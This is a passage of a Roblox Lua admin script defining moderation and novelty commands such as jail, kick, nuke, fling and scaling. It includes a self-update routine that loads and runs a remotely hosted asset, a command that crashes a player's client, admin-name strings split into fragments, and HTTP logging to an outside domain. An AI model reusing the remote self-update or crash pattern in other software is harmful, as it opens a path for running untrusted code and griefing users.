910 if type(Table) ~= "table" then return Table end
911 local NewTable = {}
912 for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
913 return NewTable
914end
915
916function CORE:Log(LogTable, Player, Chat)
917 local PlayerName = tostring(Player)
918 if type(Player) == "userdata" or type(Player) == "table" then PlayerName = Player.Name end
919 table.insert(LogTable, CORE:GetTime(true, true).." @ "..PlayerName..": "..Chat)
920end
921
922function CORE:Jail(Player)
923 if not Player then return nil end
924 local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
925 Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
926 local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
927 local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
928 local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
929 local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
930 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
931 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
932 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
933 local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
934 Cell:MoveTo(Vector3.new(0,3,0))
935
936 if Player.Character and Player.Character:FindFirstChild("Torso") then
937 Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0))
938 Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0))
939 end
940 table.insert(Dispose, Cell)
941 Jails[Player.Name] = Cell
942end
943
944function CORE:UnJail(Player)
945 if not Player then return nil end
946 if Jails[Player.Name] then
947 Jails[Player.Name]:Destroy()
948 Jails[Player.Name] = nil
949 end
950end
951
952function CORE:ChangeName(Player, NewName)
953 if not Player or not NewName then return nil end
954 if Player.Character and Player.Character:FindFirstChild("Humanoid") and Player.Character:FindFirstChild("Head") then
955 local NewName = STRING:FormatReplace(Player, NewName)
956
957 for _,Obj in pairs(Player.Character:GetChildren()) do
958 if Obj.Name == "Label" then Obj:Destroy() end
959 end
960
961 local Head = Player.Character.Head
962 local HeadClone = Head:Clone()
963
964 -- make actual head invisible
965 Head.Transparency = 1
966 ypcall(function() Head.face.Transparency = 1 end)
967
968 -- make fake head visible
969 HeadClone.Transparency = 0
970 ypcall(function() HeadClone.face.Transparency = 0 end)
971
972 local Label = Instance.new("Model", Player.Character)
973 Label.Name = "Label"
974
975 local Model = Instance.new("Model", Label)
976 Model.Name = NewName
977
978 local HumanoidClone = Instance.new("Humanoid", Model)
979 coroutine.wrap(function() while wait() and Player.Character and Player.Character:FindFirstChild("Humanoid") do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()
980
981 HeadClone.Position = Vector3.new(0,100,0)
982 HeadClone.CanCollide = false
983 ypcall(function() HeadClone.BrickColor = Player.Character["Body Colors"].Head end)
984
985
986 Delay(0.01, function() -- new roblox engine needs time to proccess that a label needs to be given after a model's been created
987 HeadClone.Parent = Model
988 local Weld = Instance.new("Weld", HeadClone)
989 Weld.Part0 = HeadClone
990 Weld.Part1 = Head
991 end)
992 end
993end
994
995function CORE:UpdateAdmin()
996 local UpdateModel = AdminID
997 if UpdateModel == 0 then return end
998 local NewAdminModel = nil
999 ypcall(function() NewAdminModel = Server.IS:LoadAsset(UpdateModel) end)
1000 if NewAdminModel then
1001 local NewAdmin = NewAdminModel:FindFirstChild("Ma".."kerModelLua's Admin", true)
1002 if NewAdmin then
1003 local NewVersion = NewAdmin:FindFirstChild("Version")
1004 if NewVersion.Value ~= CORE.Version.Value then
1005 if ExploitModule then
1006 ExploitModule.Disabled = true
1007 ExploitModule:Destroy()
1008 end
1009 NewAdmin.Disabled = true
1010 NewAdmin.Parent = Workspace
1011 if not Settings then
1012 local NewSettings = NewAdminModel:FindFirstChild("M".."a".."kerMod".."elL".."a's Admin Settings", true)
1013 if NewSettings then NewSettings.Parent = Workspace end
1014 end
1015 wait() NewAdmin.Disabled = false
1016 CORE:RemoveAdmin()
1017 else
1018 NewAdminModel:Destroy()
1019 end
1020 end
1021 end
1022end
1023
1024function CORE:UnpackPlayers(Players)
1025 local PlayerNames = ""
1026 for Num,Player in pairs(Players) do
1027 if Player ~= nil then
1028 if Num ~= #Players then
1029 PlayerNames = PlayerNames..Player.Name..", "
1030 else
1031 PlayerNames = PlayerNames..Player.Name
1032 end
1033 end
1034 end
1035 return PlayerNames
1036end
1037
1038function CORE:GetValue(Value)
1039 if Value:IsA("StringValue") then
1040 if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Owner"], Value.Value) end end
1041 if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Admin"], Value.Value) end end
1042 if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Member"], Value.Value) end end
1043 if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Banned"], Value.Value) end end
1044 if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Crashed"], Value.Value) end end
1045 if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Muted"], Value.Value) end end
1046 if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then
1047 for Num,Admin in pairs(Settings.Ranks["Admin"]) do
1048 if Admin == Value.Value then
1049 table.remove(Settings.Ranks["Admin"],Num)
1050 end
1051 end
1052 end end
1053 end
1054end
1055
1056function CORE:GetPlayer(ID)
1057 local Return = {"Unknown", ID}
1058 if tonumber(ID) then
1059 for _,Data in pairs(CharacterCache) do
1060 if ID == Data[2] then
1061 return Data
1062 end
1063 end
1064 ypcall(function()
1065 local Name = Server.Players:GetNameFromUserIdAsync(ID)
1066 if Name then
1067 local Data = {Name, ID}
1068 table.insert(CharacterCache, Data)
1069 Return = Data
1070 end
1071 end)
1072 else
1073 local Name = tostring(ID)
1074 for _,Data in pairs(CharacterCache) do
1075 if string.lower(Name) == string.lower(Data[1]) then
1076 return Data
1077 end
1078 end
1079 ypcall(function()
1080 local PlayerID = Server.Players:GetUserIdFromNameAsync(Name)
1081 if PlayerID then
1082 Name = Server.Players:GetNameFromUserIdAsync(PlayerID) or Name
1083 local Data = {Name, PlayerID}
1084 table.insert(CharacterCache, Data)
1085 Return = Data
1086 end
1087 end)
1088 end
1089
1090 return Return
1091end
1092
1093function CORE:ChangeCharacter(Player, ID, Perm, Speaker, NameChar, ManualPos) coroutine.wrap(function()
1094 if ID and #tostring(ID) >= 1 then
1095 local PlayerName = nil
1096
1097 local Players = STRING:Scan(ID, Speaker)
1098 if #Players >= 1 then -- if player is found in server
1099 ID = Players[1].UserId
1100 elseif tonumber(ID) then
1101 local Data = CORE:GetPlayer(ID)
1102 PlayerName = Data[1]
1103 else
1104 local Data = CORE:GetPlayer(tostring(ID))
1105 PlayerName = Data[1]
1106 ID = Data[2]
1107 end
1108
1109 if tonumber(ID) == 20018 then -- exploding easter bunny
1110 local OldID = ID
1111 ID = 1
1112 if Speaker then
1113 if RANK:GetRank(Speaker) == "Member" then
1114 coroutine.wrap(function()
1115 wait(1)
1116 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploding easter bunnies allowed, sorry", "Error", 10)
1117 end)()
1118 else ID = OldID
1119 end
1120 end
1121 elseif tonumber(ID) == 1311 then -- ffjosh
1122 local OldID = ID
1123 ID = 1
1124 if Speaker then
1125 if RANK:GetRank(Speaker) == "Member" then
1126 coroutine.wrap(function()
1127 wait(1)
1128 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploiting moderators allowed, sorry", "Error", 10)
1129 end)()
1130 else ID = OldID
1131 end
1132 end
1133 end
1134
1135 if tonumber(ID) then
1136 local Position = nil
1137 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
1138 if ManualPos then
1139 Position = ManualPos
1140 else
1141 Position = Player.Character.Torso.Position
1142 end
1143 end
1144 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
1145 wait() Player:LoadCharacter() wait()
1146 if Position then Player.Character:MoveTo(Position) end
1147 if not Perm then
1148 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.UserId
1149 end
1150 if NameChar and PlayerName then
1151 wait(2)
1152 CORE:ChangeName(Player, PlayerName)
1153 end
1154 end
1155 end
1156end)() end
1157
1158function CORE:GenerateShield(Player)
1159 if not Player then return nil end
1160 if not Player.Character then return nil end
1161 local Torso = Player.Character:FindFirstChild("Torso")
1162 if not Torso then return nil end
1163
1164 local Shield = Player.Character:FindFirstChild("Shield")
1165 if Shield then Shield:Destroy() end
1166
1167 Shield = Instance.new("Part", Player.Character)
1168 Shield.Name = "Shield"
1169 Shield.Locked = true
1170 Shield.CanCollide = false
1171 Shield.Size = Vector3.new(10,10,10)
1172 Shield.Shape = "Ball"
1173 Shield.Color = GUI:GetColor()
1174 Shield.Transparency = 0.5
1175 Shield.TopSurface = "Smooth"
1176 Shield.BottomSurface = "Smooth"
1177 Shield.Anchored = true
1178 Shield.Position = Torso.Position
1179
1180 local Hum = SOUND:MakeSound(Shield, 147493985, 1, 1, true)
1181 local Zap = SOUND:MakeSound(Shield, 192783601, 1, 1, false)
1182
1183 Hum:Play()
1184
1185 Shield.Touched:connect(function(Part)
1186 if Part.Parent ~= Server.Workspace then
1187 local Humanoid = Part.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent.Parent:FindFirstChild("Humanoid")
1188 if Humanoid then
1189 local Char = Humanoid.Parent
1190 if Char:IsA("Model") and Humanoid.Health > 0 then
1191 if Char ~= Player.Character then
1192 Char:BreakJoints()
1193 Zap:Play()
1194 end
1195 end
1196 end
1197 end
1198 end)
1199
1200 coroutine.wrap(function() repeat wait()
1201 Shield.CFrame = Torso.CFrame
1202 until Torso.Parent == nil or Shield.Parent == nil end)()
1203end
1204
1205function CORE:FlingPlayer(Player)
1206 if Player and Player.Character then
1207 if Player.Character:FindFirstChild("Torso") then
1208 local Fling = Instance.new("BodyForce", Player.Character.Torso)
1209 Fling.Name = "Fling"
1210 Fling.force = Vector3.new(10000,10000,10000)
1211 end
1212 end
1213end
1214
1215function CORE:Kick(Player, CustomMessage)
1216 if not CustomMessage then CustomMessage = "You've been kicked by M".."ake".."rMode".."".."lLua's Admin. You cannot interact with the server in anyway." end
1217 coroutine.wrap(function()
1218 CORE:ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage})
1219 wait(1)
1220 Player:Kick(CustomMessage)
1221 end)()
1222end
1223
1224function CORE:Crash(Player)
1225 local Parent = Player
1226 if Player:FindFirstChild("Backpack") then Parent = Player.Backpack
1227 elseif Player.Character then Parent = Player.Character end
1228
1229 CORE:ExecuteResource("Crash", Parent)
1230end
1231
1232function CORE:RestoreCamera(Player)
1233 if Player.Backpack then
1234 CORE:ExecuteResource("RestoreCamera", Player.Backpack)
1235 end
1236end
1237
1238function CORE:ScanItems(BaseObj, ObjTypes, ActiveFunc)
1239 local function ScanInstance(Object)
1240 if #Object:GetChildren() > 0 then
1241 for _,Obj in pairs(Object:GetChildren()) do
1242 local IsType = false
1243 if ObjTypes and #ObjTypes > 0 then
1244 for _,ObjType in pairs(ObjTypes) do
1245 if Obj:IsA(ObjType) then
1246 IsType = true
1247 break
1248 end
1249 end
1250 else
1251 IsType = true
1252 end
1253 if IsType == true then
1254 ActiveFunc(Obj)
1255 end
1256 ScanInstance(Obj)
1257 end
1258 end
1259 end
1260 ScanInstance(BaseObj)
1261end
1262
1263function CORE:AnchorPlayer(Player)
1264 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1265
1266 Player.Character.Humanoid.WalkSpeed = 0
1267 for _,Object in pairs(Player.Character:GetChildren()) do
1268 if Object:IsA("BasePart") then
1269 Object.Anchored = true
1270 end
1271 end
1272end
1273
1274function CORE:UnanchorPlayer(Player)
1275 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1276
1277 Player.Character.Humanoid.WalkSpeed = 16
1278 for _,Object in pairs(Player.Character:GetChildren()) do
1279 if Object:IsA("BasePart") then
1280 Object.Anchored = false
1281 end
1282 end
1283end
1284
1285function CORE:InvisiblePlayer(Player)
1286 if not Player or not Player.Character then return end
1287
1288 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) Obj.Transparency = 1 end)
1289end
1290
1291function CORE:VisiblePlayer(Player)
1292 if not Player or not Player.Character then return end
1293
1294 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) if Obj.Name ~= "HumanoidRootPart" then Obj.Transparency = 0 end end)
1295end
1296
1297function CORE:Nuke(Player) coroutine.wrap(function()
1298 local Pos = CFrame.new(0,1,0)
1299 if Player and Player.Character and Player.Character:FindFirstChild("Torso") then Pos = Player.Character.Torso.CFrame * CFrame.new(0,1,0) end
1300 local Blast = Instance.new("Part", Server.Workspace) Blast.Name = "BlastEx" Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1) Blast.CFrame = Pos
1301 local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId = "rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325" BlastMesh.Scale = Vector3.new(0,0,0)
1302 local Wave = Instance.new("Part", Server.Workspace) Wave.BrickColor = BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos * CFrame.Angles(math.pi/2,0,0)
1303 local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId = "rbxassetid://3270017"
1304 local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000 Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2)
1305
1306 local Effect = Instance.new("ColorCorrectionEffect", Server.Lighting) Effect.Brightness = 0.2 Effect.Contrast = 0.4 Effect.Saturation = 1 Effect.TintColor = Color3.new(1,0.2,0.2)
1307
1308 Server.Lighting.Brightness = 5
1309 Server.Lighting.Ambient = Color3.new(1,0.5,0.5)
1310 Server.OutdoorAmbient = Color3.new(1,1,1)
1311
1312 local Exp = Instance.new("Explosion", Server.Workspace)
1313 Exp.Position = Pos.p
1314 Exp.BlastPressure = 10000000
1315 Exp.BlastRadius = 1000000
1316 Exp.Hit:connect(function(Part)
1317 if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then
1318 ypcall(function()
1319 Part.Anchored = false
1320 Part.BrickColor = BrickColor.new("Black")
1321 Part.Material = "Slate"
1322 Part:BreakJoints()
1323 end)
1324 end
1325 end)
1326
1327 local BoomSound = SOUND:MakeSound(Server.Workspace, 212389494, 1, 1.2, false)
1328 BoomSound:Play()
1329 for i = 0,100,0.5 do
1330 Blast.Anchored = true
1331 Wave.Anchored = true
1332 BlastMesh.Scale = Vector3.new(i,i,i)
1333 WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5)
1334 Blast.CFrame = Pos
1335 wait()
1336 end
1337 BoomSound:Stop()
1338 Blast:Destroy()
1339 Wave:Destroy()
1340 wait()
1341 BoomSound:Destroy()
1342 Effect:Destroy()
1343 for i = 10,5,-1 do
1344 Server.Lighting.Brightness = (i-5) + 1
1345 Server.Lighting.Ambient = Color3.new(i/10,0.5,0.5)
1346 Server.OutdoorAmbient = Color3.new(i/10,i/10,i/10)
1347 wait(0.05)
1348 end
1349end)() end
1350
1351function CORE:Insert(AssetID, Parent, GetFirstChild, FirstChildTypes, AbuseMode)
1352 local AssetID = tonumber(AssetID)
1353 local Item = nil
1354 if AssetID then
1355 local CanInsert = true
1356 if AbuseMode then
1357 for _,ID in pairs(RemoteAbuseGear) do
1358 if AssetID == tonumber(ID) then CanInsert = false break end
1359 end
1360 for _,ID in pairs(Settings.AbusableGear) do
1361 if AssetID == tonumber(ID) then CanInsert = false break end
1362 end
1363 end
1364 if CanInsert then
1365 Item = Server.IS:LoadAsset(AssetID)
1366
1367 if GetFirstChild then
1368 Item = Item:GetChildren()[1]
1369 if FirstChildTypes and Item then
1370 local ValidType = false
1371 for _,Type in pairs(FirstChildTypes) do
1372 if Item:IsA(Type) then
1373 ValidType = true
1374 break
1375 end
1376 end
1377 if ValidType == false then
1378 Item = nil
1379 end
1380 end
1381 end
1382 if Item and Parent then
1383 Item.Parent = Parent
1384 end
1385 end
1386 end
1387 return Item
1388end
1389
1390function CORE:GivePackage(Player, PID) coroutine.wrap(function()
1391 if not Player or not Player.Character then return nil end
1392 PID = tonumber(PID)
1393 for _,Obj in pairs(Player.Character:GetChildren()) do
1394 if Obj:IsA("CharacterMesh") then Obj:Destroy() end
1395 end
1396 if PID then
1397 if PackageCache[PID] then
1398 for _,ID in pairs(PackageCache[PID]) do
1399 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1400 end
1401 else
1402 local IDsJSON = REMOTE:GetURL(CORE.Domain.."/APIs/GetPackage.php?PackageID="..PID)
1403 if IDsJSON then
1404 local IDs = REMOTE:Decode(IDsJSON)
1405 if IDs then
1406 if not IDs["Error"] then
1407 table.insert(PackageCache, IDs)
1408 for _,ID in pairs(IDs) do
1409 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1410 end
1411 end
1412 end
1413 end
1414 end
1415 end
1416end)() end
1417
1418function CORE:ChangeBet(Bet)
1419 if tostring(Bet) and Bet ~= Settings.Bet then
1420 for Index,Data in pairs(Commands) do
1421 Commands[Index][1] = string.gsub(Data[1], Settings.Bet, Bet)
1422 end
1423 Settings.Bet = Bet
1424 end
1425end
1426
1427function CORE:ResetLighting()
1428 ModLighting = false wait(0.2) ModLighting = true
1429end
1430
1431function CORE:Fly(Player, Force)
1432 if Player and Player.Character then
1433 local StopFly = Instance.new("RemoteFunction", Player.Character)
1434 StopFly.Name = "StopMMLFly"
1435 CORE:ExecuteResource("Fly", Player.Character, {["Force"] = Force, ["StopFunc"] = StopFly})
1436 end
1437end
1438
1439function CORE:GiveTools(Player, Type)
1440 if not Player or not Player:FindFirstChild("Backpack") then return nil end
1441 Type = string.lower(Type)
1442 local _,RankNum = RANK:GetRank(Player)
1443 local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
1444 local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
1445
1446 if Type == "basicbtools" or Type == "basicbuildtools" or Type == "basicbuildingtools" then
1447 for Name,Type in pairs(BaseBuildTools) do
1448 local Tool = Instance.new("HopperBin", Player.Backpack)
1449 Tool.Name = Name
1450 Tool.BinType = Type
1451 end
1452 elseif Type == "psbtools" then
1453 for _,Tool in pairs(BuildTools) do
1454 CORE:Insert(Tool, Player.Backpack, true)
1455 end
1456 elseif Type == "f3xtools" or Type == "fextools" or Type == "f3x" then
1457 if F3X then
1458 local F3X = F3X:Clone()
1459 F3X.Parent = Player.Backpack
1460 end
1461 elseif Type == "btools" then
1462 if F3X then
1463 local F3X = F3X:Clone()
1464 F3X.Parent = Player.Backpack
1465 end
1466 for Name,Type in pairs(BaseBuildTools) do
1467 local Tool = Instance.new("HopperBin", Player.Backpack)
1468 Tool.Name = Name
1469 Tool.BinType = Type
1470 end
1471 for _,Tool in pairs(BuildTools) do
1472 CORE:Insert(Tool, Player.Backpack, true)
1473 end
1474 else
1475 for _,Region in pairs(ToolRegions) do
1476 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
1477 if Type == "all" then
1478 local NewItem = Item:Clone()
1479 NewItem.Parent = Player.Backpack
1480 elseif string.sub(string.lower(Item.Name),1,#Type) == string.lower(Type) then
1481 local NewItem = Item:Clone()
1482 NewItem.Parent = Player.Backpack
1483 end
1484 end)
1485 end
1486 end
1487end
1488
1489function CORE:Scale(Player, ScalePercent)
1490 if not Player or not Player.Character or not tonumber(ScalePercent) then return end
1491 local Ratio = ScalePercent/100
1492 if Ratio < 0.05 then Ratio = 0.05 end
1493 if Ratio > 100 then Ratio = 100 end
1494 if Ratio > 1 then Ratio = math.ceil(Ratio) end
1495 local Char = Player.Character
1496
1497 local Clean = Char:FindFirstChild("Clean")
1498 if Clean then Clean:Invoke() wait(0.1) Char = Player.Character end
1499 Clean = Instance.new("BindableFunction", Char) Clean.Name = "Clean"
1500
1501 local function Cycle(BaseObj, ScaleRatio, NewAdd, JustWeld)
1502 local Welds = {}
1503 local Parts = {}
1504
1505 local function Handle(Obj)
1506 if Obj:IsA("BasePart") and not JustWeld then
1507 table.insert(Parts, Obj)
1508 elseif Obj:IsA("SpecialMesh") and not JustWeld then
1509 if Obj.Name == "MML Mesh" then
1510 Obj:Destroy()
1511 end
1512 if Obj.MeshType == Enum.MeshType.FileMesh then
1513 Obj.Offset = Obj.Offset * ScaleRatio
1514 Obj.Scale = Obj.Scale * ScaleRatio
1515 elseif Ratio < 1 then
1516 Obj.Offset = Obj.Offset * ScaleRatio
1517 Obj.Scale = Obj.Scale * ScaleRatio
1518 end
1519 elseif Obj:IsA("CharacterMesh") and not JustWeld then
1520 if Ratio < 1 then
1521 local BodyPart = ""
1522 local TextureID = Obj.BaseTextureId
1523 if TextureID == 0 then TextureID = Obj.OverlayTextureId end
1524 if TextureID == 0 then TextureID = nil end
1525 if Obj.BodyPart == Enum.BodyPart.LeftArm then BodyPart = "Left Arm" end
1526 if Obj.BodyPart == Enum.BodyPart.RightArm then BodyPart = "Right Arm" end
1527 if Obj.BodyPart == Enum.BodyPart.LeftLeg then BodyPart = "Left Leg" end
1528 if Obj.BodyPart == Enum.BodyPart.RightLeg then BodyPart = "Right Leg" end
1529 if Obj.BodyPart == Enum.BodyPart.Torso then BodyPart = "Torso" end
1530 if Obj.BodyPart == Enum.BodyPart.Head then BodyPart = "Head" end
1531 local NewMesh = Instance.new("SpecialMesh", Obj.Parent:FindFirstChild(BodyPart))
1532 NewMesh.Name = "MML Mesh"
1533 NewMesh.Scale = Vector3.new(ScaleRatio,ScaleRatio,ScaleRatio)
1534 if TextureID then NewMesh.TextureId = "rbxassetid://"..TextureID end
1535 NewMesh.MeshId = "rbxassetid://"..Obj.MeshId
1536 Obj:Destroy()
1537 end
1538 elseif Obj:IsA("JointInstance") then
1539 local NewWeld = Obj:Clone()
1540 table.insert(Welds, {NewWeld, Obj.Parent})
1541 elseif NewAdd == true and not JustWeld then
1542 if Obj:IsA("Tool") then
1543 --Cycle(Char["Right Arm"], ScaleRatio, false, true)
1544 elseif Obj:IsA("Accoutrement") then
1545 --Cycle(Char.Head, ScaleRatio, false, true)
1546 end
1547 end
1548 if #Obj:GetChildren() > 0 then
1549 for _,NewObj in pairs(Obj:GetChildren()) do
1550 Handle(NewObj, ScaleRatio)
1551 end
1552 end
1553 end
1554 Handle(BaseObj)
1555 for _,Part in pairs(Parts) do
1556 if Ratio >= 1 then
1557 Part.Size = Part.Size * ScaleRatio
1558 else
1559 local Allowed = true
1560 for _,Obj in pairs(Part:GetChildren()) do
1561 if Obj:IsA("DataModelMesh") or Obj.Name == "MML Mesh" then
1562 Allowed = false
1563 end
1564 end
1565 if Allowed == true then
1566 local NewMesh = Instance.new("BlockMesh", Part)
1567 NewMesh.Name = "MML Mesh"
1568 NewMesh.Scale = Vector3.new(Ratio,Ratio,Ratio)
1569 end
1570 end
1571 end
1572 for _,WeldData in pairs(Welds) do
1573 if WeldData[1] then
1574 local Obj = WeldData[1]
1575 local NewWeld = Obj:Clone()
1576
1577 NewWeld.Parent = WeldData[2]
1578 NewWeld.C0 = CFrame.new(Obj.C0.p * ScaleRatio) * CFrame.Angles(Obj.C0:toEulerAnglesXYZ())
1579 NewWeld.C1 = CFrame.new(Obj.C1.p * ScaleRatio) * CFrame.Angles(Obj.C1:toEulerAnglesXYZ())
1580 end
1581 end
1582 for _,Part in pairs(Parts) do
1583 Part:MakeJoints()
1584 end
1585 Welds = {}
1586 Parts = {}
1587 end
1588 Cycle(Char, Ratio)
1589 Char:MakeJoints()
1590
1591 local Added = Char.ChildAdded:connect(function(Obj)
1592 Cycle(Obj, Ratio, NewAdd)
1593 end)
1594 local Removed = Char.ChildRemoved:connect(function(Obj)
1595 Cycle(Obj, Ratio^-1, NewAdd)
1596 end)
1597
1598 Clean.OnInvoke = function()
1599 Added:disconnect()
1600 Removed:disconnect()
1601 local Location = Vector3.new(0,5,0)
1602 if Char:FindFirstChild("Torso") then
1603 Location = Char.Torso.Position + Vector3.new(0,2,0)
1604 end
1605 Player:LoadCharacter()
1606 wait(0.5)
1607 Player.Character:MoveTo(Location)
1608 wait(0.5)
1609 return nil
1610 end
1611
1612 if Char:FindFirstChild("Torso") then
1613 Char:MoveTo(Char.Torso.Position + Vector3.new(0,Ratio*3))
1614 end
1615 if Char:FindFirstChild("Humanoid") then
1616 Char.Humanoid.WalkSpeed = Char.Humanoid.WalkSpeed * (Ratio)
1617 end
1618 if Ratio < 1 and Char:FindFirstChild("HumanoidRootPart") and Char.HumanoidRootPart:FindFirstChild("RootJoint") then
1619 Char.HumanoidRootPart.RootJoint.C0 = CFrame.new(0,-(3-(Ratio*3)),0) * CFrame.Angles(-math.rad(90),0,math.pi)
1620 end
1621end
1622
1623function CORE:AddExploit(PlayerClient, Data)
1624 local PlayerClientName = PlayerClient.Name
1625 local NewData = CORE:GetTime(true, true).." @ "..Data
1626 for _,Player in pairs(Server.Players:GetChildren()) do
1627 GUI:SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
1628 end
1629 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
1630 if type(ExploitLog) ~= "table" then
1631 Server.GDS:SetAsync("ExploitLog", {NewData})
1632 else
1633 table.insert(ExploitLog, NewData)
1634 Server.GDS:SetAsync("ExploitLog", ExploitLog)
1635 end
1636 REMOTE:SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
1637
1638 return true
1639end
1640
1641function CORE:CreateFigure(Name, Position, DisableAnimation, Speaker)
1642 if not tostring(Name) then Name = "Dummy" end
1643 if not Position then Position = Vector3.new(0,5,0) end
1644 if Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
1645 Position = Speaker.Character.Torso.Position + Vector3.new(0,5,10)
1646 end
1647
1648 local Figure = CORE:Insert(68452456, Server.Workspace, true)
1649 Figure:MakeJoints()
1650 Figure.Head.BrickColor = BrickColor.new("Bright yellow")
1651 Figure["Left Arm"].BrickColor = BrickColor.new("Bright yellow")
1652 Figure["Right Arm"].BrickColor = BrickColor.new("Bright yellow")
1653 Figure["Left Leg"].BrickColor = BrickColor.new("Dark green")
1654 Figure["Right Leg"].BrickColor = BrickColor.new("Dark green")
1655 Figure.Torso.BrickColor = BrickColor.new("Bright blue")
1656
1657 Figure.Name = STRING:FormatReplace(Speaker, Name)
1658 Figure:MoveTo(Position)
1659
1660 table.insert(Objects, Figure)
1661
1662 if DisableAnimation == true then
1663 Figure.Animate.Disabled = true
1664 end
1665
1666 return Figure
1667end
1668
1669function CORE:ClonePlayer(Player, Name, Position)
1670 if not Player or not Player.Character then return nil end
1671
1672 Player.Character.Archivable = true
1673 local Char = Player.Character:Clone()
1674 Player.Character.Archivable = false
1675 if Name then Char.Name = STRING:FormatReplace(Player, Name) end
1676 if Position then Char:MoveTo(Position) end
1677 Char.Parent = Server.Workspace
1678 Char:MakeJoints()
1679 Char:MoveTo(Player.Character.Torso.Position + Vector3.new(0,3,1))
1680
1681 table.insert(Objects, Char)
1682
1683 return Obj
1684end
1685
1686function CORE:AddWaypoint(Name, Position, Speaker)
1687 Waypoints[Name] = Position
1688 if Speaker then
1689 GUI:SendHint(Speaker, "Waypoint "..Name.." is located at ("..tostring(Position)..")", 2)
1690 end
1691end
1692
1693function CORE:FindType(BaseObj, Type)
1694 for _,Obj in pairs(BaseObj:GetChildren()) do
1695 if Obj:IsA(Type) then
1696 return Obj
1697 end
1698 end
1699end
1700
1701function CORE:GetCommands()
1702 local CommandsCopy = Commands
1703 return CommandsCopy
1704end
1705
1706function CORE:Crown(Player, Mesh, Color)
1707 if Mesh then Mesh = string.lower(Mesh) end
1708 if not Mesh or not Meshes[Mesh] then Mesh = "crown" end
1709 if not Player or not Player.Character or not Player.Character:FindFirstChild("Head") then return end
